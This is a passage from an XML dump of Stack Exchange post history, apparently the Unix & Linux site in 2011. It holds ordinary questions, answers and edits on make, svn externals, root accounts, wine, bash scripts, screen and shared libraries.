resumed&gt; [{WIFEXITED(s) &amp;&amp; WEXITSTATUS(s) == 1}], 0, NULL) = 13739&#xD;&#xA;    --- SIGCHLD (Child exited) @ 0 (0) ---&#xD;&#xA;    sigreturn()                             = ? (mask now [])&#xD;&#xA;    write(2, &quot;make: &quot;..., 6make: )                = 6&#xD;&#xA;    write(2, &quot;*** [berkeleydb] Error 1&quot;..., 24*** [berkeleydb] Error 1) = 24&#xD;&#xA;    write(2, &quot;\n&quot;..., 1&#xD;&#xA;    )                    = 1&#xD;&#xA;    rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT TERM XCPU XFSZ], NULL, 8) = 0&#xD;&#xA;    rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0&#xD;&#xA;    time(NULL)                              = 1301487841&#xD;&#xA;&#xD;&#xA;Any ideas what this could be?&#xD;&#xA;&#xD;&#xA;    $ make --version&#xD;&#xA;    GNU Make 3.81&#xD;&#xA;    ...&#xD;&#xA;    This program built for i686-pc-linux-gnu" />
  <row Id="24772" PostHistoryTypeId="1" PostId="10310" RevisionGUID="d9fa34f8-f39e-465a-a481-03409ae2877e" CreationDate="2011-03-30T12:32:22.537" UserId="3645" Text="make --print-data-base unknown failure" />
  <row Id="24773" PostHistoryTypeId="3" PostId="10310" RevisionGUID="d9fa34f8-f39e-465a-a481-03409ae2877e" CreationDate="2011-03-30T12:32:22.537" UserId="3645" Text="émakeàégnuömakeà" />
  <row Id="24774" PostHistoryTypeId="2" PostId="10311" RevisionGUID="ea8522bc-c217-4ac7-8e16-8c8fc4d9ddf8" CreationDate="2011-03-30T12:34:55.017" UserId="6167" Text="You include the relative path to the imported copy of the file followed by the absolute path to the external copy of the file on the same line in the svn:externals property of a parent folder to the imported copy.  The external file must be in the same repository an it's imported copy.  Use svn propedit svn:externals . and add a line like:&#xD;&#xA;&#xD;&#xA;&gt; path/to/imported/file.txt&#xD;&#xA;&gt; http://www.example.org/svn-repo/external/file.txt&#xD;&#xA;&#xD;&#xA;Just make sure it's in the same repository.  Also read:&#xD;&#xA;&#xD;&#xA;http://subversion.apache.org/docs/release-notes/1.6.html#file-externals" />
  <row Id="24775" PostHistoryTypeId="2" PostId="10312" RevisionGUID="90a75b84-4996-48d0-b38e-696ca095f1b1" CreationDate="2011-03-30T12:47:39.783" UserId="6168" Text="I am playing with ubuntu on my new Rackspace cloud instance. However, the information they give me is for root access -- that doesn't seem like a best practice for doing development on this thing.&#xD;&#xA;&#xD;&#xA;What is the best practice for setting up a cloud instance for development? Should I create another user that allows me to install my rails" />
  <row Id="24776" PostHistoryTypeId="1" PostId="10312" RevisionGUID="90a75b84-4996-48d0-b38e-696ca095f1b1" CreationDate="2011-03-30T12:47:39.783" UserId="6168" Text="I shouldn't use root on my new ubuntu cloud instance, right?" />
  <row Id="24777" PostHistoryTypeId="3" PostId="10312" RevisionGUID="90a75b84-4996-48d0-b38e-696ca095f1b1" CreationDate="2011-03-30T12:47:39.783" UserId="6168" Text="éubuntuàénotörootöuseràérubyà" />
  <row Id="24778" PostHistoryTypeId="2" PostId="10313" RevisionGUID="46b8af86-3d8e-47f0-a69e-38fbf15a06ef" CreationDate="2011-03-30T12:47:48.017" UserId="6167" Text="I can't remember if I fixed that, but you can take a look at my answer file:&#xD;&#xA;&#xD;&#xA;&gt; http://www.north-winds.org/unix/preseed-example.cfg&#xD;&#xA;&#xD;&#xA;It's based off of a more sophisticated example at:&#xD;&#xA;&#xD;&#xA;&gt; https://help.ubuntu.com/10.04/installation-guide/i386/appendix-preseed.html&#xD;&#xA;&gt; https://help.ubuntu.com/10.04/installation-guide/example-preseed.txt" />
  <row Id="24779" PostHistoryTypeId="5" PostId="10290" RevisionGUID="d7796b8a-8cc2-45bc-a6bc-31446eaf957e" CreationDate="2011-03-30T12:59:25.043" UserId="2343" Comment="Finally working; deleted 1 characters in body; deleted 5 characters in body" Text="**Update 2:**  &#xD;&#xA;The following script now prints out the line number and column of a mismached *bracket*. It processes one bracket type per scan (ie. '[]' '&lt;&gt;' '{}' '()' ...)  &#xD;&#xA;The script identifies the **first** ,*unmatched right bracket*, or the first of any *un-paired left bracket*... On detecting an erroe, it exits with the line and column numbers&#xD;&#xA;  &#xD;&#xA;Here is some sample output...  &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    File = /tmp/fred/test/test.in&#xD;&#xA;    Pair = ()&#xD;&#xA;   &#xD;&#xA;    *INFO:  Group 1 contains 1 matching pairs&#xD;&#xA;   &#xD;&#xA;    ERROR: *END-OF-FILE* encountered after Bracket 7.&#xD;&#xA;            A Left &quot;(&quot; is un-paired in Group 2.&#xD;&#xA;            Group 2 has 1 un-paired Left &quot;(&quot;.&#xD;&#xA;            Group 2 begins at Bracket 3.&#xD;&#xA;      see:  Line, Column (8, 10)&#xD;&#xA;            ----+----1----+----2----+----3----+----4----+----5----+----6----+----7&#xD;&#xA;    000008  (   )    (         (         (     )   )                    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is the script...  &#xD;&#xA;&#xD;&#xA;---    &#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    # Itentify the script&#xD;&#xA;    bname=&quot;$(basename &quot;$0&quot;)&quot;&#xD;&#xA;    # Make a work dir&#xD;&#xA;    wdir=&quot;/tmp/$USER/$bname&quot;&#xD;&#xA;    [[ ! -d &quot;$wdir&quot; ]] &amp;&amp; mkdir -p &quot;$wdir&quot;&#xD;&#xA;&#xD;&#xA;    # Arg1: The bracket pair 'string'&#xD;&#xA;    pair=&quot;$1&quot;&#xD;&#xA;    # pair='[]' # test&#xD;&#xA;    # pair='&lt;&gt;' # test&#xD;&#xA;    # pair='{}' # test&#xD;&#xA;    # pair='()' # test&#xD;&#xA;&#xD;&#xA;    # Arg2: The input file to test&#xD;&#xA;    ifile=&quot;$2&quot;&#xD;&#xA;      # Build a test source file&#xD;&#xA;      ifile=&quot;$wdir/$bname.in&quot;&#xD;&#xA;      cp /dev/null &quot;$ifile&quot;&#xD;&#xA;      while IFS= read -r line ;do&#xD;&#xA;        echo &quot;$line&quot; &gt;&gt; &quot;$ifile&quot;&#xD;&#xA;      done &lt;&lt;EOF&#xD;&#xA;    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#xD;&#xA;    [   ]    [         [         [&#xD;&#xA;    &lt;   &gt;    &lt;         &#xD;&#xA;                       &lt;         &gt;         &#xD;&#xA;                                 &lt;    &gt;    &gt;         &gt;&#xD;&#xA;    ----+----1----+----2----+----3----+----4----+----5----+----6&#xD;&#xA;    {   }    {         }         }         }         } &#xD;&#xA;    (   )    (         (         (     )   )                    &#xD;&#xA;    ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;    echo &quot;File = $ifile&quot;&#xD;&#xA;    # Count how many: Left, Right, and Both&#xD;&#xA;    left=${pair:0:1}&#xD;&#xA;    rght=${pair:1:1}&#xD;&#xA;    echo &quot;Pair = $left$rght&quot;&#xD;&#xA;    # Make a stripped-down 'skeleton' of the source file - brackets only&#xD;&#xA;    skel=&quot;/tmp/$USER/$bname.skel&quot; &#xD;&#xA;    cp /dev/null &quot;$skel&quot;&#xD;&#xA;    # Make a String Of Brackets file ... (It is tricky manipulating bash strings with []..&#xD;&#xA;    sed 's/[^'${rght}${left}']//g' &quot;$ifile&quot; &gt; &quot;$skel&quot;&#xD;&#xA;    &lt; &quot;$skel&quot; tr  -d '\n'  &gt; &quot;$skel.str&quot;&#xD;&#xA;    Left=($(&lt;&quot;$skel.str&quot; tr -d &quot;$left&quot; |wc -m -l)); LeftCt=$((${Left[1]}-${Left[0]}))&#xD;&#xA;    Rght=($(&lt;&quot;$skel.str&quot; tr -d &quot;$rght&quot; |wc -m -l)); RghtCt=$((${Rght[1]}-${Rght[0]}))&#xD;&#xA;    yBkts=($(sed -e &quot;s/\(.\)/ \1 /g&quot; &quot;$skel.str&quot;))&#xD;&#xA;    BothCt=$((LeftCt+RghtCt))&#xD;&#xA;    eleCtB=${#yBkts[@]}&#xD;&#xA;    echo&#xD;&#xA;&#xD;&#xA;    if (( eleCtB != BothCt )) ; then&#xD;&#xA;      echo &quot;ERROR:  array Item Count ($eleCtB)&quot;&#xD;&#xA;      echo &quot;     should equal BothCt ($BothCt)&quot;&#xD;&#xA;      exit 1&#xD;&#xA;    else&#xD;&#xA;      grpIx=0            # Keep track of Groups of nested pairs&#xD;&#xA;      eleIxFir[$grpIx]=0 # Ix of First Bracket in a specific Group&#xD;&#xA;      eleCtL=0           # Count of Left brackets in current Group &#xD;&#xA;      eleCtR=0           # Count of Right brackets in current Group&#xD;&#xA;      errIx=-1           # Ix of an element in error.&#xD;&#xA;      for (( eleIx=0; eleIx &lt; eleCtB; eleIx++ )) ; do&#xD;&#xA;        if [[ &quot;${yBkts[eleIx]}&quot; == &quot;$left&quot; ]] ; then&#xD;&#xA;          # Left brackets are 'okay' until proven otherwise&#xD;&#xA;          ((eleCtL++)) # increment Left bracket count&#xD;&#xA;        else&#xD;&#xA;          ((eleCtR++)) # increment Right bracket count&#xD;&#xA;          # Right brackets are 'okay' until their count exceeds that of Left brackets&#xD;&#xA;          if (( eleCtR &gt; eleCtL )) ; then&#xD;&#xA;            echo&#xD;&#xA;            echo &quot;ERROR:  MIS-matching Right \&quot;$rght\&quot; in Group $((grpIx+1)) (at Bracket $((eleIx+1)) overall)&quot;&#xD;&#xA;            errType=$rght    &#xD;&#xA;            errIx=$eleIx    &#xD;&#xA;            break&#xD;&#xA;          elif (( eleCtL == eleCtR )) ; then&#xD;&#xA;            echo &quot;*INFO:  Group $((grpIx+1)) contains $eleCtL matching pairs&quot;&#xD;&#xA;            # Reset the element counts, and note the first element Ix for the next group&#xD;&#xA;            eleCtL=0&#xD;&#xA;            eleCtR=0&#xD;&#xA;            ((grpIx++))&#xD;&#xA;            eleIxFir[$grpIx]=$((eleIx+1))&#xD;&#xA;          fi&#xD;&#xA;        fi&#xD;&#xA;      done&#xD;&#xA;      #&#xD;&#xA;      if (( eleCtL &gt; eleCtR )) ; then&#xD;&#xA;        # Left brackets are always potentially valid (until EOF)...&#xD;&#xA;        # so, this 'error' is the last element in array&#xD;&#xA;        echo&#xD;&#xA;        echo &quot;ERROR: *END-OF-FILE* encountered after Bracket $eleCtB.&quot;&#xD;&#xA;        echo &quot;        A Left \&quot;$left\&quot; is un-paired in Group $((grpIx+1)).&quot;&#xD;&#xA;        errType=$left&#xD;&#xA;        unpairedCt=$((eleCtL-eleCtR))&#xD;&#xA;        errIx=$((${eleIxFir[grpIx]}+unpairedCt-1))&#xD;&#xA;        echo &quot;        Group $((grpIx+1)) has $unpairedCt un-paired Left \&quot;$left\&quot;.&quot;&#xD;&#xA;        echo &quot;        Group $((grpIx+1)) begins at Bracket $((eleIxFir[grpIx]+1)).&quot;&#xD;&#xA;      fi&#xD;&#xA;&#xD;&#xA;      # On error, get Line and Column numbers&#xD;&#xA;      if (( errIx &gt;= 0 )) ; then&#xD;&#xA;        errLNum=0    # Source Line number (current).&#xD;&#xA;        eleCtSoFar=0 # Count of bracket-elements in lines processed so far.&#xD;&#xA;        errItemNum=$((errIx+1)) # error Ix + 1 (ie. &quot;1 based&quot;)&#xD;&#xA;        # Read the skeketon file to find the error line-number&#xD;&#xA;        while IFS= read -r skline ; do&#xD;&#xA;          ((errLNum++))&#xD;&#xA;          brackets=&quot;${skline//[^&quot;${rght}${left}&quot;]/}&quot; # remove whitespace&#xD;&#xA;          ((eleCtSoFar+=${#brackets}))&#xD;&#xA;          if (( eleCtSoFar &gt;= errItemNum )) ; then&#xD;&#xA;            # We now have the error line-number&#xD;&#xA;            # ..now get the relevant Source Line &#xD;&#xA;            excerpt=$(&lt; &quot;$ifile&quot; tail -n +$errLNum |head -n 1)&#xD;&#xA;            # Homogenize the brackets (to be all &quot;Left&quot;), for easy counting&#xD;&#xA;            mogX=&quot;${excerpt//$rght/$left}&quot;; mogXCt=${#mogX} # How many 'Both' brackets on the error line? &#xD;&#xA;            if [[ &quot;$errType&quot; == &quot;$left&quot; ]] ; then&#xD;&#xA;              # R-Trunc from the error element [inclusive]&#xD;&#xA;              ((eleTruncCt=eleCtSoFar-errItemNum+1))&#xD;&#xA;              for (( ele=0; ele&lt;eleTruncCt; ele++ )) ; do&#xD;&#xA;                mogX=&quot;${mogX%&quot;$left&quot;*}&quot;   # R-Trunc (Lazy)&#xD;&#xA;              done&#xD;&#xA;              errCNum=$((${#mogX}+1))&#xD;&#xA;            else&#xD;&#xA;              # errType=$rght&#xD;&#xA;              mogX=&quot;${mogX%&quot;$left&quot;*}&quot;   # R-Trunc (Lazy)&#xD;&#xA;              errCNum=$((${#mogX}+1))&#xD;&#xA;            fi&#xD;&#xA;            echo &quot;  see:  Line, Column ($errLNum, $errCNum)&quot;&#xD;&#xA;            echo &quot;        ----+----1----+----2----+----3----+----4----+----5----+----6----+----7&quot;  &#xD;&#xA;            printf &quot;%06d  $excerpt\n\n&quot; $errLNum&#xD;&#xA;            break&#xD;&#xA;          fi&#xD;&#xA;        done &lt; &quot;$skel&quot;&#xD;&#xA;      else&#xD;&#xA;        echo &quot;*INFO:  OK. All brackets are paired.&quot;&#xD;&#xA;      fi&#xD;&#xA;    fi&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24780" PostHistoryTypeId="2" PostId="10314" RevisionGUID="a58daddb-10fa-4f65-adfa-e5baf9b7361f" CreationDate="2011-03-30T13:19:19.893" UserId="250" Text="Generally it's best to use the least privileged user that can get the job done. Also, it's inevitable that you have to use the root account some time (even using `sudo`, which Ubuntu embraces, still counts as using root privileges).&#xD;&#xA;&#xD;&#xA;There is no &quot;you shouldn't use root&quot;, just &quot;you shouldn't use root for normal tasks&quot;. For software development you should definitely create a user account for your own and use that for everyday tasks. Set yourself up as a sudoer, and disable the root password if you like. You probably have to use root access to set up your development environment, so be prepared to go `sudo apt-get install thingy`.&#xD;&#xA;&#xD;&#xA;Final words, use root when you have to, but don't feel bad about it. It actually feels quite good :)" />
  <row Id="24781" PostHistoryTypeId="2" PostId="10315" RevisionGUID="a39e1458-4f3b-414b-b8c7-1e7b985b4ca0" CreationDate="2011-03-30T13:04:51.357" UserDisplayName="Yuvaraj" Text="Hi friends,&#xD;&#xA;&#xD;&#xA;I have come up with onemore question.&#xD;&#xA;&#xD;&#xA;I am using Fedora core10.I have installed wine with both wine-alsa and wine-oss sound driver. I can able to hear test sound by running winecfg . But when i run webex player sound is not coming, and also the option to increase volume is disabled. I am not able to understand whether the problem is with wine or with webex.I hope so you people will help me to find solution.&#xD;&#xA;&#xD;&#xA;wine version is 1.1.25&#xD;&#xA;webex version 3.17&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24782" PostHistoryTypeId="1" PostId="10315" RevisionGUID="a39e1458-4f3b-414b-b8c7-1e7b985b4ca0" CreationDate="2011-03-30T13:04:51.357" UserDisplayName="Yuvaraj" Text="no sound in webex player in wine" />
  <row Id="24783" PostHistoryTypeId="3" PostId="10315" RevisionGUID="a39e1458-4f3b-414b-b8c7-1e7b985b4ca0" CreationDate="2011-03-30T13:04:51.357" UserDisplayName="Yuvaraj" Text="éwineà" />
  <row Id="24784" PostHistoryTypeId="17" PostId="10315" RevisionGUID="3de50705-7b2f-4510-8fdc-d8523a1f3c57" CreationDate="2011-03-30T13:40:04.933" UserId="-1" Comment="from http://stackoverflow.com/questions/5486664/no-sound-in-webex-player-in-wine" Text="" />
  <row Id="24785" PostHistoryTypeId="5" PostId="10249" RevisionGUID="2f224a12-9282-4d0f-a369-3fdead3c853f" CreationDate="2011-03-30T13:44:41.363" UserId="1223" Comment="deleted 17 characters in body" Text="You can use the -M (multiline) option for pcregrep:&#xD;&#xA;&#xD;&#xA;    pcregrep -M '\{(\s*.*\s*)*\}' test.txt&#xD;&#xA;&#xD;&#xA;\s is whitespace (including newlines), so this matches zero or more occurrences of (whitespace followed by .* followed by whitespace), all enclosed in braces.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;&#xD;&#xA;This should do the non-greedy matching:&#xD;&#xA;&#xD;&#xA;    pcregrep -n -M '\{(\n*.*?\n*)*?\}' test.txt&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24786" PostHistoryTypeId="5" PostId="10315" RevisionGUID="d60089a9-18c0-46e3-b158-60709042fe79" CreationDate="2011-03-30T14:12:29.550" UserId="73" Comment="deleted 140 characters in body; edited tags; edited title" Text="I am using Fedora Core 10. I have installed wine with both `wine-alsa` and `wine-oss` sound drivers. I am able to hear test sounds by running `winecfg`, but when I run the webex player there is no sound, and the option to increase volume is disabled. I am not sure whether the problem is with wine or with webex; how can I debug/fix this?" />
  <row Id="24787" PostHistoryTypeId="6" PostId="10315" RevisionGUID="d60089a9-18c0-46e3-b158-60709042fe79" CreationDate="2011-03-30T14:12:29.550" UserId="73" Comment="deleted 140 characters in body; edited tags; edited title" Text="éaudioàéwineà" />
  <row Id="24788" PostHistoryTypeId="4" PostId="10315" RevisionGUID="d60089a9-18c0-46e3-b158-60709042fe79" CreationDate="2011-03-30T14:12:29.550" UserId="73" Comment="deleted 140 characters in body; edited tags; edited title" Text="No sound in webex player in wine" />
  <row Id="24789" PostHistoryTypeId="25" PostId="10312" RevisionGUID="9765841a-b9d1-4444-acbc-2ebd97fb61ae" CreationDate="2011-03-30T15:00:20.883" Comment="http://twitter.com/#!/StackUnix/status/53109309877387264" />
  <row Id="24791" PostHistoryTypeId="2" PostId="10317" RevisionGUID="f2ba2f1c-b75a-459c-a820-9aa2e7a655fa" CreationDate="2011-03-30T15:54:40.867" UserId="6167" Text="This doesn't exactly answer your question, but...&#xD;&#xA;&#xD;&#xA;First of all, ELF is the specification use by Linux for executable files (programs), shared libraries, and also object files which are the intermediate files found when compiling software.  Object files end in .o, shared libraries end with .so followed by zero or more digits separated by periods, and executable files don't have any extension normally.&#xD;&#xA;&#xD;&#xA;There are typically three forms to name a shared library, the first form simply ends in .so.  For example, a library called readline is stored in a file called libreadline.so and is located under one of /lib, /usr/lib, or /usr/local/lib normally.  That file is located when compiling software with an option like -lreadline.  -l tells the compiler to link with the following library.  Because libraries change from time to time, it may become obsolete so libraries embed something called a SONAME.  The SONAME for readline might look like libreadline.so.2 for the second version major version of libreadline.  There may also be many minor versions of readline that are compatible and do not require software to be recompiled.  A minor version of readline might be named libreadline.so.2.14.  Normally libreadline.so is just a symbolic link to the most recent major version of readline, libreadline.so.2 in this case.  libreadline.so.2 is also a symbolic link to libreadline.so.2.14 which is actually the file being used.&#xD;&#xA;&#xD;&#xA;The SONAME of a library is embedded inside the library file itself.  Somewhere inside the file libreadline.so.2.14 is the string libreadline.so.2.  When a program is compiled and linked with readline, it will look for the file libreadline.so and read the SONAME embedded in it.  Later, when the program is actually executed, it will load libreadline.so.2, not just libreadline.so, since that was the SONAME that was read when it was first linked.  This allows a system to have multiple incompatible versions of readline installed, and each program will load the appropriate major version it was linked with.  Also, when upgrading readline, say, to 2.17, I can just install libreadline.so.2.17 alongside the existing library, and once I move the symbolic link libreadline.so.2 from libreadline.so.2.13 to libreadline.so.2.17, all software using that same major version will now see the new minor update to it.&#xD;&#xA;" />
  <row Id="24792" PostHistoryTypeId="2" PostId="10318" RevisionGUID="28b6f7e8-4ab1-40b3-a815-09f854c404dc" CreationDate="2011-03-30T15:56:12.190" UserId="6108" Text="Hello,&#xD;&#xA;&#xD;&#xA;I am using screen with several tabs open to separate my projects between them. However, when I open to many tabs they just appear off screen and I can no longer see them in my &quot;screen status bar&quot;. I can still switch to them, but not see them in my list of windows. How can I make it so that my &quot;screen status bar&quot; will expand to two lines when necessary? I've gotten a .screenrc from a friend to start with which put me where I'm at, but I'd like to customize it to afford me this option. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="24793" PostHistoryTypeId="1" PostId="10318" RevisionGUID="28b6f7e8-4ab1-40b3-a815-09f854c404dc" CreationDate="2011-03-30T15:56:12.190" UserId="6108" Text="Screen status bar multiple lines" />
  <row Id="24794" PostHistoryTypeId="3" PostId="10318" RevisionGUID="28b6f7e8-4ab1-40b3-a815-09f854c404dc" CreationDate="2011-03-30T15:56:12.190" UserId="6108" Text="éscreenà" />
  <row Id="24795" PostHistoryTypeId="2" PostId="10319" RevisionGUID="de31b52f-a18c-4f94-a6fa-0680ac99411e" CreationDate="2011-03-30T16:03:12.043" UserId="6167" Text="Are you sure it exited on SIGTERM?  The kernel nor busybox would never generate this normally.  If the program actually exited on a signal, it would not have an exit code unless you caught the signal and did a normal exit.  You mentioned working with serial ports and sockets, it is possibly that it's a SIGPIPE that's killing it?  Or possibly a SIGINT due to receiving a Control-C over the serial port?" />
  <row Id="24796" PostHistoryTypeId="2" PostId="10320" RevisionGUID="9cf755bf-7d13-4cc2-b1c6-d362eedcd84d" CreationDate="2011-03-30T16:08:43.040" UserId="6167" Text="Also, lsof can be a great help in determining who's using a filesystem.&#xD;&#xA;&#xD;&#xA;&gt; sudo lsof | grep /media/cdrom" />
  <row Id="24797" PostHistoryTypeId="5" PostId="10318" RevisionGUID="91dbfc3e-a03b-4664-82eb-0eca8aa299e1" CreationDate="2011-03-30T16:10:14.693" UserId="73" Comment="deleted 18 characters in body" Text="I am using screen with several tabs open to separate my projects between them. However, when I open too many tabs they just appear off screen and I can no longer see them in my &quot;screen status bar&quot;. I can still switch to them, but not see them in my list of windows. How can I make it so that my &quot;screen status bar&quot; will expand to two lines when necessary? I've gotten a `.screenrc` from a friend to start with which put me where I'm at, but I'd like to customize it to afford me this option. &#xD;&#xA;" />
  <row Id="24798" PostHistoryTypeId="5" PostId="5320" RevisionGUID="e1b10d44-a6c8-48dc-b8ac-8d8a67f71cce" CreationDate="2011-03-30T16:46:36.260" UserId="2362" Comment="notified readers about the err (hopefully not intentional err, would sound too wingled) in the picture and explained why they are important years to understand." Text="*Gilles explained very well the evolution from piece to another [here][1], so I will cover the topic from more broad perspective and give some hints for further research.*&#xD;&#xA;&#xD;&#xA;**From Bazaars and Research Labs to Closed Blobs and Market-marginalized Groups that I think are not that marginal at all**&#xD;&#xA;&#xD;&#xA;The key term to play with evolution is power. If you are dependent on an OS, for example in the form of security updates, you are dependent on the software-manufacturer and hence it has power over you. It can decide to stop publishing security updates or do any evil that its license allows it to do. If the OS is closed, the users must feel helpless because they cannot fix problems on their own, perhaps shown in hypocriticical feelings such as `again the damn driver broken, XYZ's fault`. In the latter discussion, you can `s,OS,sofware,g` and it does not really lose its meaning about power-relationship, clearly some thing being timeless. &#xD;&#xA;&#xD;&#xA;I won't reinvent the damn wheel so please read about Bazaars, corporations and social-environmental-and-other problems below.&#xD;&#xA;&#xD;&#xA;**Start**&#xD;&#xA;&#xD;&#xA; 2. [Homebrew computer club before Apple and such things when things were open][2]&#xD;&#xA;&#xD;&#xA;**Ending, Now and Still Evolving**&#xD;&#xA;&#xD;&#xA; 1. [Amos Batto's essay explaining some reasons behind closing things (Internet Archieve article, cannot be found from Google easily)][3]&#xD;&#xA; 3. For visualizing the evolution, please, see the picture below from Wikipedia where things started from Bazaar (orange phase) and ended to red-green phase where things are still evolving or even chaotic. Please, read the comments, the picture is wrong about the Mimix-Linux -turning point, important years to understand why we have today a lot of separate parties such as FreeBSD, Linux and Mimix. Please, note that I don't call them with cohesive terms such as `&quot;open-source&quot;` because the term is getting misused.&#xD;&#xA;&#xD;&#xA;![alt text][4]&#xD;&#xA;&#xD;&#xA;The FOSS movement is not a marginal body, please, note that they do have their own things such as music ([here][5] or [here][6])and more-and-more hardware ([here][7]). If your media says something else or nothing, they are ignoramuses.&#xD;&#xA;&#xD;&#xA;Your questions have too many confusions to attack them easily, such as presupposition about `hierarchy` that ignores the idea about chaos and ambiguous terms such as `Windows` -- dev branch or branding? And the term `from Unix` in the title tastes too much appealing-to-populism-in-Unix-quesion-site. It is hard to say how `/dev/null` such as W. and other closed things evolved because we don't know them, except speculation! People who know cannot speak. The source is primary, the rest is secondary. Be sure which blindfolds, i.e. search engine, you use for this topic, many valuable articles are dumped with irrelevant information as the case with the above removed article. As a starting point, you could try some links offered above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3196/evolution-of-operating-systems-from-unix/3202#3202&#xD;&#xA;  [2]: http://opencollector.org/history/homebrew/index.html&#xD;&#xA;  [3]: http://web.archive.org/web/20070613114853/http://www.ciber-runa.net/guide/BetterUpgrade--ActivistGuide.html#Software&#xD;&#xA;  [4]: http://i.imgur.com/JvOTq.png&#xD;&#xA;  [5]: http://www.openbsd.org/lyrics.html&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Plaid_Tongued_Devils&#xD;&#xA;  [7]: http://www.freeduino.org/" />
  <row Id="24799" PostHistoryTypeId="2" PostId="10321" RevisionGUID="0b998e62-f996-4f6b-862b-09d601cbbea0" CreationDate="2011-03-30T17:11:28.383" UserId="4319" Text="We shouldn't forget that the essence of the task is indeed quite simple; as put in a tutorial on Haskell (which is written around the working through of the solution for this task, incrementally refined)&#xD;&#xA;&#xD;&#xA;&gt; Now let's think for a moment about how&#xD;&#xA;&gt; our program will operate and express&#xD;&#xA;&gt; it in pseudocode:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     main = Read list of directories and their sizes.&#xD;&#xA;&gt;            Decide how to fit them on CD-Rs.&#xD;&#xA;&gt;            Print solution.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Sounds reasonable? I thought so.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Let's simplify our life a little and&#xD;&#xA;&gt; assume for now that we will compute&#xD;&#xA;&gt; directory sizes somewhere outside our&#xD;&#xA;&gt; program (for example, with &quot;`du -sb *`&quot;)&#xD;&#xA;&gt; and read this information from stdin.&#xD;&#xA;&#xD;&#xA;(from [Hitchhikers guide to Haskell, Chapter 1](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_1:_Ubiquitous_.22Hello_world.21.22_and_other_ways_to_do_IO_in_Haskell))&#xD;&#xA;&#xD;&#xA;(Additionaly, in your question, you'd like to be able to tweak (edit) the resulting disk layouts, and then use a tool to burn them.)&#xD;&#xA;&#xD;&#xA;You could re-use (adapt and re-use) a simple variant of the program from that Haskell tutorial for splitting your file collection.&#xD;&#xA;&#xD;&#xA;Unfortunately, in [the `distribute` tool that I've mentioned here in another answer](http://unix.stackexchange.com/questions/10158/splitting-large-directory-tree-into-specified-size-chunks/10221#10221), the simplicity of the essential splitting task is not matched by the complexity and bloatedness of the user interface of `distribute` (because it was written to combine several tasks, and not in the cleanest way). Here's an excerpt from the bash-code of `distribute` (at [line 380](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l380)) that serves to do this &quot;essential&quot; task of splitting a collection of files:&#xD;&#xA;&#xD;&#xA;    # Splitting:&#xD;&#xA;    &#xD;&#xA;    function splitMirrorDir() {&#xD;&#xA;      if [[ ! -d &quot;$THIS_BASES_DIR/$BASE/$type&quot; ]]; then&#xD;&#xA;        echo $&quot;No base fixed for $type&quot; &gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;      fi&#xD;&#xA;    &#xD;&#xA;      # Getting the list of all suitable files:&#xD;&#xA;      local -a allFiles&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      allFiles=()&#xD;&#xA;      # no points to the next free position in allFiles&#xD;&#xA;      # allFiles contains the constructed list&#xD;&#xA;      for p in &quot;$THIS_BASES_DIR/$BASE/$type&quot;/*.rpm; do&#xD;&#xA;          if [[ ! -e &quot;$p&quot; ]]; then&#xD;&#xA;    	  # fail on non-existent files&#xD;&#xA;    	  echo $&quot;Package file doesn't exist: &quot; &quot;$p&quot; &gt;&amp;2&#xD;&#xA;    	  return 1 &#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$ONLY_REAL_FILES&quot; == &quot;yes&quot; &amp;&amp; ! -f &quot;$p&quot; ]]; then&#xD;&#xA;    	  continue&#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$DIFF_TO_BASE&quot; ]]; then&#xD;&#xA;              older_copy=&quot;$DIFF_TO_BASE/$type/${p##*/}&quot; # using shell param expansion instead of `basename' to speed up&#xD;&#xA;              if [[ -h &quot;$older_copy&quot; || -a &quot;$older_copy&quot; ]]; then&#xD;&#xA;    	      continue&#xD;&#xA;    	  fi&#xD;&#xA;          fi&#xD;&#xA;          allFiles[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      readonly -a allFiles&#xD;&#xA;    &#xD;&#xA;      # Splitting the list of all files into future disks:&#xD;&#xA;      # &#xD;&#xA;      local -a filesToEat allSizes&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      filesToEat=()&#xD;&#xA;      allSizes=($(getSize &quot;${allFiles[@]}&quot;))&#xD;&#xA;      readonly -a allSizes&#xD;&#xA;      # allSizes contains the sizes corrsponding to allFiles&#xD;&#xA;      # filesToEat hold the constructed list of files to put on the current disk&#xD;&#xA;      # no points to the next free position in filesToEat&#xD;&#xA;      # totalSize should hold the sum of the sizes &#xD;&#xA;      #  of the files already put into filesToEat;&#xD;&#xA;      #  it is set and reset externally.&#xD;&#xA;      for p in &quot;${allFiles[@]}&quot;; do &#xD;&#xA;          if (( totalsize + ${allSizes[$(( no ))]} &gt; CDVOLUME )); then&#xD;&#xA;    	  eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;              